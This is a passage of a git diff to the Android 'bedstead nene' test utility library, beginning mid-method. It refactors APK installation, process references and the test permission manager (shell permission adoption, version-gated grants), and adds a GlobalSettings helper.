+                Thread.sleep(10_000);
+            } catch (InterruptedException e) {
+                throw new NeneException("Interrupted while waiting for install", e);
+            }
+
+            return null;
+        }
+
         if (!Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S)) {
             return installPreS(user, apkFile);
         }
 
-        User resolvedUser = user.resolve();
-
-        if (resolvedUser == null || resolvedUser.state() != RUNNING_UNLOCKED) {
-            throw new NeneException("Packages can not be installed in non-started users "
-                    + "(Trying to install into user " + resolvedUser + ")");
-        }
-
+        // This is not inside the try because if the install is unsuccessful we don't want to await
+        // the broadcast
         BlockingBroadcastReceiver broadcastReceiver =
                 registerPackageInstalledBroadcastReceiver(user);
+
+        try  {
+            PackageManager packageManager =
+                    TestApis.context().androidContextAsUser(user).getPackageManager();
+            PackageInstaller packageInstaller = packageManager.getPackageInstaller();
+
+            int sessionId;
+            try (PermissionContext p = TestApis.permissions().withPermission(
+                    INTERACT_ACROSS_USERS_FULL, INTERACT_ACROSS_USERS, INSTALL_TEST_ONLY_PACKAGE)) {
+                PackageInstaller.SessionParams sessionParams = new PackageInstaller.SessionParams(
+                        MODE_FULL_INSTALL);
+                sessionParams.setInstallFlagAllowTest();
+                sessionId = packageInstaller.createSession(sessionParams);
+            }
+
+            PackageInstaller.Session session = packageInstaller.openSession(sessionId);
+            try (OutputStream out =
+                         session.openWrite("NAME", 0, apkFile.length)) {
+                out.write(apkFile);
+                session.fsync(out);
+            }
+
+            try (BlockingIntentSender intentSender = BlockingIntentSender.create()) {
+                try (PermissionContext p =
+                             TestApis.permissions().withPermission(
+                                     INSTALL_PACKAGES, INSTALL_TEST_ONLY_PACKAGE)) {
+                    session.commit(intentSender.intentSender());
+                    session.close();
+
+                    Intent intent = intentSender.await();
+
+                    if (intent.getIntExtra(EXTRA_STATUS, /* defaultValue= */ STATUS_FAILURE)
+                            != STATUS_SUCCESS) {
+                        throw new NeneException("Not successful while installing package. "
+                                + "Got status: "
+                                + intent.getIntExtra(
+                                EXTRA_STATUS, /* defaultValue= */ STATUS_FAILURE)
+                                + " extra info: " + intent.getStringExtra(EXTRA_STATUS_MESSAGE));
+                    }
+                }
+            }
+            return waitForPackageAddedBroadcast(broadcastReceiver);
+        } catch (IOException e) {
+            throw new NeneException("Could not install package", e);
+        } finally {
+            if (broadcastReceiver != null) {
+                broadcastReceiver.unregisterQuietly();
+            }
+        }
+    }
+
+    @Nullable
+    private Package installPreS(UserReference user, byte[] apkFile) {
+        // This is not in the try because if the install fails we don't want to await the broadcast
+        BlockingBroadcastReceiver broadcastReceiver =
+                registerPackageInstalledBroadcastReceiver(user);
+
+        // We should install using stdin with the byte array
         try {
-            // Expected output "Success"
             ShellCommand.builderForUser(user, "pm install")
-                    .addOption("-S", apkFile.length)
-                    .addOperand("-r")
-                    .addOperand("-t")
+                    .addOperand("-t") // Allow installing test apks
+                    .addOperand("-r") // Replace existing apps
+                    .addOption("-S", apkFile.length) // Install from stdin
                     .writeToStdIn(apkFile)
                     .validate(ShellCommandUtils::startsWithSuccess)
                     .execute();
-
             return waitForPackageAddedBroadcast(broadcastReceiver);
         } catch (AdbException e) {
-            throw new NeneException("Could not install from bytes for user " + user, e);
+            throw new NeneException("Error installing package", e);
         } finally {
-            broadcastReceiver.unregisterQuietly();
-        }
-
-        // TODO(scottjonathan): Re-enable this after we have a TestAPI which allows us to install
-        //   testOnly apks
-//        BlockingBroadcastReceiver broadcastReceiver =
-//                registerPackageInstalledBroadcastReceiver(user);
-//
-//        PackageManager packageManager =
-//                mTestApis.context().androidContextAsUser(user).getPackageManager();
-//        PackageInstaller packageInstaller = packageManager.getPackageInstaller();
-//
-//        try {
-//            int sessionId;
-//            try(PermissionContext p =
-//                        mTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
-//                PackageInstaller.SessionParams sessionParams =
-//                      new PackageInstaller.SessionParams(MODE_FULL_INSTALL);
-//                // TODO(scottjonathan): Enable installing test apps once there is a test
-//                //  API for this
-////                    sessionParams.installFlags =
-//                          sessionParams.installFlags | INSTALL_ALLOW_TEST;
-//                sessionId = packageInstaller.createSession(sessionParams);
-//            }
-//
-//            PackageInstaller.Session session = packageInstaller.openSession(sessionId);
-//            try (OutputStream out =
-//                         session.openWrite("NAME", 0, apkFile.length)) {
-//                out.write(apkFile);
-//                session.fsync(out);
-//            }
-//
-//            try (BlockingIntentSender intentSender = BlockingIntentSender.create()) {
-//                try (PermissionContext p =
-//                             mTestApis.permissions().withPermission(INSTALL_PACKAGES)) {
-//                    session.commit(intentSender.intentSender());
-//                    session.close();
-//                }
-//
-//                Intent intent = intentSender.await();
-//                if (intent.getIntExtra(EXTRA_STATUS, /* defaultValue= */ STATUS_FAILURE)
-//                        != STATUS_SUCCESS) {
-//                    throw new NeneException("Not successful while installing package. "
-//                            + "Got status: "
-//                            + intent.getIntExtra(
-//                            EXTRA_STATUS, /* defaultValue= */ STATUS_FAILURE)
-//                            + " exta info: " + intent.getStringExtra(EXTRA_STATUS_MESSAGE));
-//                }
-//            }
-//
-//            return waitForPackageAddedBroadcast(broadcastReceiver);
-//        } catch (IOException e) {
-//            throw new NeneException("Could not install package", e);
-//        } finally {
-//            broadcastReceiver.unregisterQuietly();
-//        }
-    }
-
-    private PackageReference installPreS(UserReference user, byte[] apkFile) {
-        // Prior to S we cannot pass bytes to stdin so we write it to a temp file first
-        File outputDir = mTestApis.context().instrumentedContext().getCacheDir();
-        File outputFile = null;
-        try {
-            outputFile = File.createTempFile("tmp", ".apk", outputDir);
-            Files.write(apkFile, outputFile);
-            outputFile.setReadable(true, false);
-            return install(user, outputFile);
-        } catch (IOException e) {
-            throw new NeneException("Error when writing bytes to temp file", e);
-        } finally {
-            if (outputFile != null) {
-                outputFile.delete();
+            if (broadcastReceiver != null) {
+                broadcastReceiver.unregisterQuietly();
             }
         }
     }
@@ -384,7 +455,7 @@
      * <p>If the package is marked testOnly, it will still be installed.
      */
     @Experimental
-    public PackageReference install(UserReference user, AndroidResource resource) {
+    public Package install(UserReference user, AndroidResource resource) {
         int indexId = mInstrumentedContext.getResources().getIdentifier(
                 resource.mName, /* defType= */ null, /* defPackage= */ null);
 
@@ -406,7 +477,7 @@
      * <p>If the package is marked testOnly, it will still be installed.
      */
     @Experimental
-    public PackageReference install(UserReference user, JavaResource resource) {
+    public Package install(UserReference user, JavaResource resource) {
         try (InputStream inputStream =
                      Packages.class.getClassLoader().getResourceAsStream(resource.mName)) {
             return install(user, readInputStreamFully(inputStream));
@@ -415,21 +486,22 @@
         }
     }
 
+    @Nullable
     private BlockingBroadcastReceiver registerPackageInstalledBroadcastReceiver(
             UserReference user) {
         BlockingBroadcastReceiver broadcastReceiver = BlockingBroadcastReceiver.create(
-                mTestApis.context().androidContextAsUser(user),
+                TestApis.context().androidContextAsUser(user),
                 mPackageAddedIntentFilter);
 
-        if (user.equals(mTestApis.users().instrumented())) {
+        if (user.equals(TestApis.users().instrumented())) {
             broadcastReceiver.register();
-        } else {
-            // TODO(scottjonathan): If this is cross-user then it needs _FULL, but older versions
-            //  cannot get full - so we'll need to poll
+        } else if (Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.Q)) {
             try (PermissionContext p =
-                         mTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+                         TestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
                 broadcastReceiver.register();
             }
+        } else {
+            return null;
         }
 
         return broadcastReceiver;
@@ -446,29 +518,21 @@
     public KeepUninstalledPackagesBuilder keepUninstalledPackages() {
         Versions.requireMinimumVersion(Build.VERSION_CODES.S);
 
-        return new KeepUninstalledPackagesBuilder(mTestApis);
-    }
-
-    @Nullable
-    Package fetchPackage(String packageName) {
-        // TODO(scottjonathan): fillCache probably does more than we need here -
-        //  can we make it more efficient?
-        fillCache();
-
-        return mCachedPackages.get(packageName);
+        return new KeepUninstalledPackagesBuilder();
     }
 
     /**
      * Get a reference to a package with the given {@code packageName}.
      *
-     * <p>This does not guarantee that the package exists. Call {@link PackageReference#resolve()}
-     * to find specific details about the package on the device.
+     * <p>This does not guarantee that the package exists. Call {@link Package#exists()}
+     * to find if the package exists on the device, or {@link Package#installedOnUsers()}
+     * to find the users it is installed for.
      */
-    public PackageReference find(String packageName) {
+    public Package find(String packageName) {
         if (packageName == null) {
             throw new NullPointerException();
         }
-        return new UnresolvedPackage(mTestApis, packageName);
+        return new Package(packageName);
     }
 
     /**
@@ -482,20 +546,22 @@
             throw new NullPointerException();
         }
 
-        return new ComponentReference(mTestApis,
+        return new ComponentReference(
                 find(componentName.getPackageName()), componentName.getClassName());
     }
 
-    private void fillCache() {
-        try {
-            // TODO: Replace use of adb on supported versions of Android
-            String packageDumpsysOutput = ShellCommand.builder("dumpsys package").execute();
-            AdbPackageParser.ParseResult result = mParser.parse(packageDumpsysOutput);
+    /** Get a reference to the package being instrumented. */
+    @Experimental
+    public Package instrumented() {
+        return find(TestApis.context().instrumentedContext().getPackageName());
+    }
 
-            mCachedPackages = result.mPackages;
-            mFeatures = result.mFeatures;
+    static AdbPackageParser.ParseResult parseDumpsys() {
+        try {
+            String dumpsysOutput = ShellCommand.builder("dumpsys package").execute();
+            return Packages.sParser.parse(dumpsysOutput);
         } catch (AdbException | AdbParseException e) {
-            throw new RuntimeException("Error filling cache", e);
+            throw new NeneException("Error parsing package dumpsys", e);
         }
     }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/ProcessReference.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/ProcessReference.java
index c555486..5a42583 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/ProcessReference.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/ProcessReference.java
@@ -16,57 +16,60 @@
 
 package com.android.bedstead.nene.packages;
 
-import android.util.Log;
-
 import com.android.bedstead.nene.annotations.Experimental;
-import com.android.bedstead.nene.exceptions.AdbException;
-import com.android.bedstead.nene.exceptions.NeneException;
 import com.android.bedstead.nene.users.UserReference;
-import com.android.bedstead.nene.utils.ShellCommand;
 
 @Experimental
 public final class ProcessReference {
 
-    private final PackageReference mPackage;
-    private final int mProcessId;
+    private final Package mPackage;
+    private final int mPid;
+    private final int mUid;
     private final UserReference mUser;
 
-    ProcessReference(PackageReference pkg, int processId, UserReference user) {
+    ProcessReference(Package pkg, int pid, int uid, UserReference user) {
         if (pkg == null) {
             throw new NullPointerException();
         }
         mPackage = pkg;
-        mProcessId = processId;
+        mPid = pid;
+        mUid = uid;
         mUser = user;
     }
 
-    public PackageReference pkg() {
+    /**
+     * Get the {@link Package} this process is associated with.
+     */
+    public Package pkg() {
         return mPackage;
     }
 
+    /**
+     * Get the pid of this process.
+     */
     public int pid() {
-        return mProcessId;
+        return mPid;
     }
 
+    /**
+     * Get the uid of this process.
+     */
+    public int uid() {
+        return mUid;
+    }
+
+    /**
+     * Get the {@link UserReference} this process is running on.
+     */
     public UserReference user() {
         return mUser;
     }
 
-    public void kill() {
-        try {
-            ShellCommand.builder("kill")
-                    .addOperand(mProcessId)
-                    .validate(String::isEmpty)
-                    .asRoot()
-                    .execute();
-        } catch (AdbException e) {
-            throw new NeneException("Error killing process", e);
-        }
-    }
+    // TODO(b/203758521): Add support for killing processes
 
     @Override
     public int hashCode() {
-        return mPackage.hashCode() + mProcessId + mUser.hashCode();
+        return mPackage.hashCode() + mPid + mUser.hashCode();
     }
 
     @Override
@@ -77,12 +80,13 @@
 
         ProcessReference other = (ProcessReference) obj;
         return other.mUser.equals(mUser)
-                && other.mProcessId == mProcessId
+                && other.mPid == mPid
                 && other.mPackage.equals(mPackage);
     }
 
     @Override
     public String toString() {
-        return "ProcessReference{package=" + mPackage + ", processId=" + mProcessId + ", user=" + mUser + "}";
+        return "ProcessReference{package=" + mPackage
+                + ", processId=" + mPid + ", user=" + mUser + "}";
     }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContextImpl.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContextImpl.java
index 4fc05f3..2336fd0 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContextImpl.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContextImpl.java
@@ -16,7 +16,9 @@
 
 package com.android.bedstead.nene.permissions;
 
+import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.utils.Versions;
 
 import java.util.Arrays;
 import java.util.HashSet;
@@ -62,6 +64,29 @@
     }
 
     /**
+     * See {@link Permissions#withPermissionOnVersion(int, String...)}
+     */
+    public PermissionContextImpl withPermissionOnVersion(int sdkVersion, String... permissions) {
+        if (Versions.meetsSdkVersionRequirements(sdkVersion, sdkVersion)) {
+            return withPermission(permissions);
+        }
+
+        return this;
+    }
+
+    /**
+     * See {@link Permissions#withPermissionOnVersionAtLeast(int, String...)}
+     */
+    public PermissionContextImpl withPermissionOnVersionAtLeast(
+            int sdkVersion, String... permissions) {
+        if (Versions.meetsMinimumSdkVersionRequirement(sdkVersion)) {
+            return withPermission(permissions);
+        }
+
+        return this;
+    }
+
+    /**
      * See {@link Permissions#withoutPermission(String...)}
      */
     public PermissionContextImpl withoutPermission(String... permissions) {
@@ -73,6 +98,11 @@
             }
         }
 
+        if (TestApis.packages().instrumented().isInstantApp()) {
+            throw new NeneException(
+                    "Tests which use withoutPermission must not run as instant apps");
+        }
+
         mDeniedPermissions.addAll(Arrays.asList(permissions));
 
         mPermissions.applyPermissions();
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java
index 1aedf44..fa797bb 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java
@@ -28,46 +28,76 @@
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.exceptions.NeneException;
 import com.android.bedstead.nene.packages.Package;
-import com.android.bedstead.nene.packages.PackageReference;
 import com.android.bedstead.nene.users.UserReference;
 import com.android.bedstead.nene.utils.ShellCommandUtils;
 import com.android.bedstead.nene.utils.Versions;
 
+import com.google.common.collect.ImmutableSet;
+
 import java.util.ArrayList;
+import java.util.Collections;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
+import java.util.concurrent.atomic.AtomicBoolean;
 
 /** Permission manager for tests. */
-public class Permissions {
+public final class Permissions {
 
     public static final String MANAGE_PROFILE_AND_DEVICE_OWNERS =
             "android.permission.MANAGE_PROFILE_AND_DEVICE_OWNERS";
     public static final String MANAGE_DEVICE_ADMINS = "android.permission.MANAGE_DEVICE_ADMINS";
     public static final String NOTIFY_PENDING_SYSTEM_UPDATE =
             "android.permission.NOTIFY_PENDING_SYSTEM_UPDATE";
-
+    public static final String MANAGE_APP_OPS_MODES = "android.permission.MANAGE_APP_OPS_MODES";
+    public static final AtomicBoolean sIgnorePermissions = new AtomicBoolean(false);
     private static final String LOG_TAG = "Permissions";
-
-    private List<PermissionContextImpl> mPermissionContexts = new ArrayList<>();
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
     private static final PackageManager sPackageManager = sContext.getPackageManager();
-    private static final PackageReference sInstrumentedPackage =
-            sTestApis.packages().find(sContext.getPackageName());
-    private static final UserReference sUser = sTestApis.users().instrumented();
+    private static final Package sInstrumentedPackage =
+            TestApis.packages().find(sContext.getPackageName());
+    private static final UserReference sUser = TestApis.users().instrumented();
     private static final Package sShellPackage =
-            sTestApis.packages().find("com.android.shell").resolve();
+            TestApis.packages().find("com.android.shell");
+    private static final Set<String> sCheckedGrantPermissions = new HashSet<>();
+    private static final Set<String> sCheckedDenyPermissions = new HashSet<>();
     private static final boolean SUPPORTS_ADOPT_SHELL_PERMISSIONS =
             Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q;
 
-    // Permissions is a singleton as permission state must be application wide
+    /**
+     * Permissions which cannot be given to shell.
+     *
+     * <p>Each entry must include a comment with the reason it cannot be added.
+     */
+    private static final ImmutableSet EXEMPT_SHELL_PERMISSIONS = ImmutableSet.of(
+
+    );
+
     public static final Permissions sInstance = new Permissions();
 
+    private final List<PermissionContextImpl> mPermissionContexts =
+            Collections.synchronizedList(new ArrayList<>());
+    private final Set<String> mShellPermissions;
+    private final Set<String> mInstrumentedRequestedPermissions;
     private Set<String> mExistingPermissions;
 
     private Permissions() {
-
+        // Packages requires using INTERACT_ACROSS_USERS_FULL but we don't want it to rely on
+        // Permissions or it'll recurse forever - so we disable permission checks and just use
+        // shell permission adoption directly while initialising
+        sIgnorePermissions.set(true);
+        if (SUPPORTS_ADOPT_SHELL_PERMISSIONS) {
+            ShellCommandUtils.uiAutomation()
+                    .adoptShellPermissionIdentity();
+            mShellPermissions = sShellPackage.requestedPermissions();
+        } else {
+            mShellPermissions = new HashSet<>();
+        }
+        mInstrumentedRequestedPermissions = sInstrumentedPackage.requestedPermissions();
+        if (SUPPORTS_ADOPT_SHELL_PERMISSIONS) {
+            ShellCommandUtils.uiAutomation().dropShellPermissionIdentity();
+        }
+        sIgnorePermissions.set(false);
     }
 
     /**
@@ -80,7 +110,7 @@
      * {@code
      *
      * try (PermissionContext p = mTestApis.permissions().withPermission(PERMISSION1, PERMISSION2) {
-     *     // Code which needs the permissions goes here
+     * // Code which needs the permissions goes here
      * }
      * }
      */
@@ -98,6 +128,51 @@
     }
 
     /**
+     * Enter a {@link PermissionContext} where the given permissions are granted only when running
+     * on the given version or above.
+     *
+     * <p>If the permissions cannot be granted, and are not already granted, an exception will be
+     * thrown.
+     *
+     * <p>If the version does not match, the permission context will not change.
+     */
+    public PermissionContextImpl withPermissionOnVersionAtLeast(
+            int minSdkVersion, String... permissions) {
+        if (mPermissionContexts.isEmpty()) {
+            recordExistingPermissions();
+        }
+
+        PermissionContextImpl permissionContext = new PermissionContextImpl(this);
+        mPermissionContexts.add(permissionContext);
+
+        permissionContext.withPermissionOnVersionAtLeast(minSdkVersion, permissions);
+
+        return permissionContext;
+    }
+
+    /**
+     * Enter a {@link PermissionContext} where the given permissions are granted only when running
+     * on the given version.
+     *
+     * <p>If the permissions cannot be granted, and are not already granted, an exception will be
+     * thrown.
+     *
+     * <p>If the version does not match, the permission context will not change.
+     */
+    public PermissionContextImpl withPermissionOnVersion(int sdkVersion, String... permissions) {
+        if (mPermissionContexts.isEmpty()) {
+            recordExistingPermissions();
+        }
+
+        PermissionContextImpl permissionContext = new PermissionContextImpl(this);
+        mPermissionContexts.add(permissionContext);
+
+        permissionContext.withPermissionOnVersion(sdkVersion, permissions);
+
+        return permissionContext;
+    }
+
+    /**
      * Enter a {@link PermissionContext} where the given permissions are not granted.
      *
      * <p>If the permissions cannot be denied, and are not already denied, an exception will be
@@ -107,8 +182,8 @@
      * {@code
      *
      * try (PermissionContext p =
-     *         mTestApis.permissions().withoutPermission(PERMISSION1, PERMISSION2) {
-     *     // Code which needs the permissions goes here
+     * mTestApis.permissions().withoutPermission(PERMISSION1, PERMISSION2) {
+     * // Code which needs the permissions goes here
      * }
      */
     public PermissionContextImpl withoutPermission(String... permissions) {
@@ -130,12 +205,23 @@
     }
 
     void applyPermissions() {
+        if (sIgnorePermissions.get()) {
+            return;
+        }
+
         if (mPermissionContexts.isEmpty()) {
             restoreExistingPermissions();
             return;
         }
 
-        Package resolvedInstrumentedPackage = sInstrumentedPackage.resolve();
+        if (TestApis.packages().instrumented().isInstantApp()) {
+            // Instant Apps aren't able to know the permissions of shell so we can't know if we can
+            // adopt it - we'll assume we can adopt and log
+            Log.i(LOG_TAG,
+                    "Adopting all shell permissions as can't check shell: " + mPermissionContexts);
+            ShellCommandUtils.uiAutomation().adoptShellPermissionIdentity();
+            return;
+        }
 
         if (SUPPORTS_ADOPT_SHELL_PERMISSIONS) {
             ShellCommandUtils.uiAutomation().dropShellPermissionIdentity();
@@ -143,15 +229,17 @@
         Set<String> grantedPermissions = new HashSet<>();
         Set<String> deniedPermissions = new HashSet<>();
 
-        for (PermissionContextImpl permissionContext : mPermissionContexts) {
-            for (String permission : permissionContext.grantedPermissions()) {
-                grantedPermissions.add(permission);
-                deniedPermissions.remove(permission);
-            }
+        synchronized (mPermissionContexts) {
+            for (PermissionContextImpl permissionContext : mPermissionContexts) {
+                for (String permission : permissionContext.grantedPermissions()) {
+                    grantedPermissions.add(permission);
+                    deniedPermissions.remove(permission);
+                }
 
-            for (String permission : permissionContext.deniedPermissions()) {
-                grantedPermissions.remove(permission);
-                deniedPermissions.add(permission);
+                for (String permission : permissionContext.deniedPermissions()) {
+                    grantedPermissions.remove(permission);
+                    deniedPermissions.add(permission);
+                }
             }
         }
 
@@ -161,45 +249,42 @@
         // We first try to use shell permissions, because they can be revoked/etc. much more easily
 
         Set<String> adoptedShellPermissions = new HashSet<>();
-
         for (String permission : grantedPermissions) {
-            Log.d(LOG_TAG , "Trying to grant " + permission);
-            if (resolvedInstrumentedPackage.grantedPermissions(sUser).contains(permission)) {
+            checkCanGrantOnAllSupportedVersions(permission, sUser);
+
+            Log.d(LOG_TAG, "Trying to grant " + permission);
+            if (sInstrumentedPackage.hasPermission(sUser, permission)) {
                 // Already granted, can skip
                 Log.d(LOG_TAG, permission + " already granted at runtime");
-            } else if (resolvedInstrumentedPackage.requestedPermissions().contains(permission)
+            } else if (mInstrumentedRequestedPermissions.contains(permission)
                     && sContext.checkSelfPermission(permission) == PERMISSION_GRANTED) {
                 // Already granted, can skip
                 Log.d(LOG_TAG, permission + " already granted from manifest");
             } else if (SUPPORTS_ADOPT_SHELL_PERMISSIONS
-                    && sShellPackage.requestedPermissions().contains(permission)) {
+                    && mShellPermissions.contains(permission)) {
                 adoptedShellPermissions.add(permission);
-                Log.d(LOG_TAG, "will adopt " + permission);
             } else if (canGrantPermission(permission)) {
-                Log.d(LOG_TAG, "Granting " + permission);
                 sInstrumentedPackage.grantPermission(sUser, permission);
             } else {
-                Log.d(LOG_TAG, "Can not grant " + permission);
                 removePermissionContextsUntilCanApply();
-                throw new NeneException("PermissionContext requires granting "
-                        + permission + " but cannot.");
+
+                throwPermissionException("PermissionContext requires granting "
+                        + permission + " but cannot.", permission, sUser);
             }
         }
 
         for (String permission : deniedPermissions) {
-            Log.d(LOG_TAG , "Trying to deny " + permission);
-            if (!resolvedInstrumentedPackage.grantedPermissions(sUser).contains(permission)) {
+            checkCanDenyOnAllSupportedVersions(permission, sUser);
+
+            if (!sInstrumentedPackage.hasPermission(sUser, permission)) {
                 // Already denied, can skip
-                Log.d(LOG_TAG, permission + " already denied");
             } else if (SUPPORTS_ADOPT_SHELL_PERMISSIONS
-                    && !sShellPackage.requestedPermissions().contains(permission)) {
+                    && !mShellPermissions.contains(permission)) {
                 adoptedShellPermissions.add(permission);
-                Log.d(LOG_TAG, "will adopt " + permission);
             } else { // We can't deny a permission to ourselves
-                Log.d(LOG_TAG, "Can not deny " + permission);
                 removePermissionContextsUntilCanApply();
-                throw new NeneException("PermissionContext requires denying "
-                        + permission + " but cannot.");
+                throwPermissionException("PermissionContext requires denying "
+                        + permission + " but cannot.", permission, sUser);
             }
         }
 
@@ -210,11 +295,74 @@
         }
     }
 
+    private void checkCanGrantOnAllSupportedVersions(
+            String permission, UserReference user) {
+        if (sCheckedGrantPermissions.contains(permission)) {
+            return;
+        }
+
+        if (Versions.isDevelopmentVersion()
+                && !mShellPermissions.contains(permission)
+                && !EXEMPT_SHELL_PERMISSIONS.contains(permission)) {
+            throwPermissionException(permission + " is not granted to shell on latest development"
+                            + "version. You must add it to the com.android.shell manifest. If "
+                            + "that is not"
+                            + "possible add it to"
+                            + "com.android.bedstead.nene.permissions"
+                            + ".Permissions#EXEMPT_SHELL_PERMISSIONS",
+                    permission, user);
+        }
+
+        sCheckedGrantPermissions.add(permission);
+    }
+
+    private void checkCanDenyOnAllSupportedVersions(
+            String permission, UserReference user) {
+        if (sCheckedDenyPermissions.contains(permission)) {
+            return;
+        }
+
+        sCheckedDenyPermissions.add(permission);
+    }
+
+    private void throwPermissionException(
+            String message, String permission, UserReference user) {
+        String protectionLevel = "Permission not found";
+        try {
+            protectionLevel = Integer.toString(sPackageManager.getPermissionInfo(
+                    permission, /* flags= */ 0).protectionLevel);
+        } catch (PackageManager.NameNotFoundException e) {
+            Log.e(LOG_TAG, "Permission not found", e);
+        }
+
+        throw new NeneException(message + "\n\nRunning On User: " + user
+                + "\nPermission: " + permission
+                + "\nPermission protection level: " + protectionLevel
+                + "\nPermission state: " + sContext.checkSelfPermission(permission)
+                + "\nInstrumented Package: " + sInstrumentedPackage.packageName()
+                + "\n\nRequested Permissions:\n"
+                + sInstrumentedPackage.requestedPermissions()
+                + "\n\nCan adopt shell permissions: " + SUPPORTS_ADOPT_SHELL_PERMISSIONS
+                + "\nShell permissions:"
+                + mShellPermissions
+                + "\nExempt Shell permissions: " + EXEMPT_SHELL_PERMISSIONS);
+    }
+
     void clearPermissions() {
         mPermissionContexts.clear();
         applyPermissions();
     }
 
+    /**
+     * Returns all of the permissions which are currently able to be used.
+     */
+    public Set<String> usablePermissions() {
+        Set<String> usablePermissions = new HashSet<>();
+        usablePermissions.addAll(mShellPermissions);
+        usablePermissions.addAll(mInstrumentedRequestedPermissions);
+        return usablePermissions;
+    }
+
     private void removePermissionContextsUntilCanApply() {
         try {
             mPermissionContexts.remove(mPermissionContexts.size() - 1);
@@ -230,11 +378,7 @@
             if ((p.protectionLevel & PermissionInfo.PROTECTION_FLAG_DEVELOPMENT) > 0) {
                 return true;
             }
-            if ((p.protectionLevel & PermissionInfo.PROTECTION_DANGEROUS) > 0) {
-                return true;
-            }
-
-            return false;
+            return (p.protectionLevel & PermissionInfo.PROTECTION_DANGEROUS) > 0;
         } catch (PackageManager.NameNotFoundException e) {
             return false;
         }
@@ -248,12 +392,15 @@
         mExistingPermissions = ShellCommandUtils.uiAutomation().getAdoptedShellPermissions();
     }
 
+    @SuppressWarnings("NewApi")
     private void restoreExistingPermissions() {
         if (!Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S)) {
             return;
         }
 
-        if (mExistingPermissions.isEmpty()) {
+        if (mExistingPermissions == null) {
+            return; // We haven't recorded previous permissions
+        } else if (mExistingPermissions.isEmpty()) {
             ShellCommandUtils.uiAutomation().dropShellPermissionIdentity();
         } else if (mExistingPermissions == UiAutomation.ALL_PERMISSIONS) {
             ShellCommandUtils.uiAutomation().adoptShellPermissionIdentity();
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/settings/GlobalSettings.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/settings/GlobalSettings.java
new file mode 100644
index 0000000..8cf3f34
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/settings/GlobalSettings.java
@@ -0,0 +1,304 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.settings;
+
+import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+import static android.Manifest.permission.WRITE_SECURE_SETTINGS;
+
+import android.annotation.SuppressLint;
+import android.content.ContentResolver;
+import android.os.Build;
+import android.provider.Settings;
+
+import androidx.annotation.RequiresApi;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.permissions.PermissionContext;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.utils.Versions;
+
+/** APIs related to {@link Settings.Global}. */
+public final class GlobalSettings {
+
+    private static final TestApis sTestApis = new TestApis();
+    public static final GlobalSettings sInstance = new GlobalSettings();
+
+    private GlobalSettings() {
+
+    }
+
+    /**
+     * See {@link Settings.Global#putInt(ContentResolver, String, int)}
+     */
+    @RequiresApi(Build.VERSION_CODES.S)
+    public void putInt(ContentResolver contentResolver, String key, int value) {
+        Versions.requireMinimumVersion(Build.VERSION_CODES.S);
+        try (PermissionContext p = sTestApis.permissions().withPermission(
+                INTERACT_ACROSS_USERS_FULL, WRITE_SECURE_SETTINGS)) {
+            Settings.Global.putInt(contentResolver, key, value);
+        }
+    }
+
+    /**
+     * Put int to global settings for the given {@link UserReference}.
+     *
+     * <p>If the user is not the instrumented user, this will only succeed when running on Android S
+     * and above.
+     *
+     * <p>See {@link #putInt(ContentResolver, String, int)}
+     */
+    @SuppressLint("NewApi")
+    public void putInt(UserReference user, String key, int value) {
+        if (user.equals(sTestApis.users().instrumented())) {
+            putInt(key, value);
+            return;
+        }
+
+        putInt(sTestApis.context().androidContextAsUser(user).getContentResolver(), key, value);
+    }
+
+    /**
+     * Put int to global settings for the instrumented user.
+     *
+     * <p>See {@link #putInt(ContentResolver, String, int)}
+     */
+    public void putInt(String key, int value) {
+        try (PermissionContext p = sTestApis.permissions().withPermission(WRITE_SECURE_SETTINGS)) {
+            Settings.Global.putInt(
+                    sTestApis.context().instrumentedContext().getContentResolver(), key, value);
+        }
+    }
+
+    /**
